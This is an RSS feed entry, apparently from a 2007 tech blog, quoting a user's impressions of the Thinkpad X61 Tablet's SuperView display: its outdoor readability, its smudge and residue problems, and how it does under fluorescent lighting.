         <description><![CDATA[Warner Crocker at <a href="http://www.gottabemobile.com/Week1WithTheThinkpadX61TabletPC.aspx">gottabemobile.com</a> has an update on his Thinkpad X61 escapades.  Specificially relevant to your truly are his comments on the screen:<blockquote>I’ve already commented on how much I like the brightness of the screen. And <u>I have had a chance to view it outdoors</u>. (Still no successful way to take a picture of this, sorry.) It is <u>readable in outdoor conditions</u>, <u>but the screen brightness needs to be turned up, especially on bright days</u>. That said, the screen collects dust, grease, and oils from anything that comes in contact with it. After using it in Tablet mode for any length of time it can be quite covered with residue. What I’ve noticed that I find troubling is that this residue does cause the stylus to drag a bit as it passes over a dirty area. And if you take the X61 outside the residue shows up as a white chalky looking mess. This seems to defeat the idea behind SuperView in my mind and I find it troubling. I’m not sure what the best method to clean the screen is, and I worry about using any cleaning solution on it until I get some word about what is recommended. Some of the smudges and residue can be removed with a dry cloth designed for cleaning screens (like the ones by 3M) but in some cases it still leaves residue behind. I’ve also discovered that if, on a hot day, any of the residue is still moist or damp, it just gets smeared around if you try to clean it. I have more success if the screen is completely dry. The real plus of the SuperView technology is that the screen is <u>easier to read under fluorescent lighting</u> which is what we have in our rehearsal hall. This is a big plus for me. [emphasis mine]</blockquote>

He later adds in a comment,<blockquote>My personal tastes here, <u>I would not call this an indoor/outdoor display</u>. The viewability is better outdoors than screens (like the x60) that don't have the SuperView Bonding. (Look for other posts on that on the site.) But <u>it isn't designed for outdoor use in the context that many think of has indoor/outdoor</u>. [emphasis mine]</blockquote>

Still no clear comparison with the MultiView outdoor performance, but it helps.  Note cleanliness... I suppose you would want some sort of plastic on top of the display if possible.]]></description>
         <link>http://torque.gig8.com/2007/06/thinkpad_x61_tablet_superview.html</link>
         <guid>http://torque.gig8.com/2007/06/thinkpad_x61_tablet_superview.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Tablet</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">display</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">lenovo</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">outdoor computing</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">superview</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">tablet pc</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">thinkpad x61 tablet</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">x60</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">x61</category>
        
         <pubDate>Fri, 15 Jun 2007 01:23:06 -0800</pubDate>
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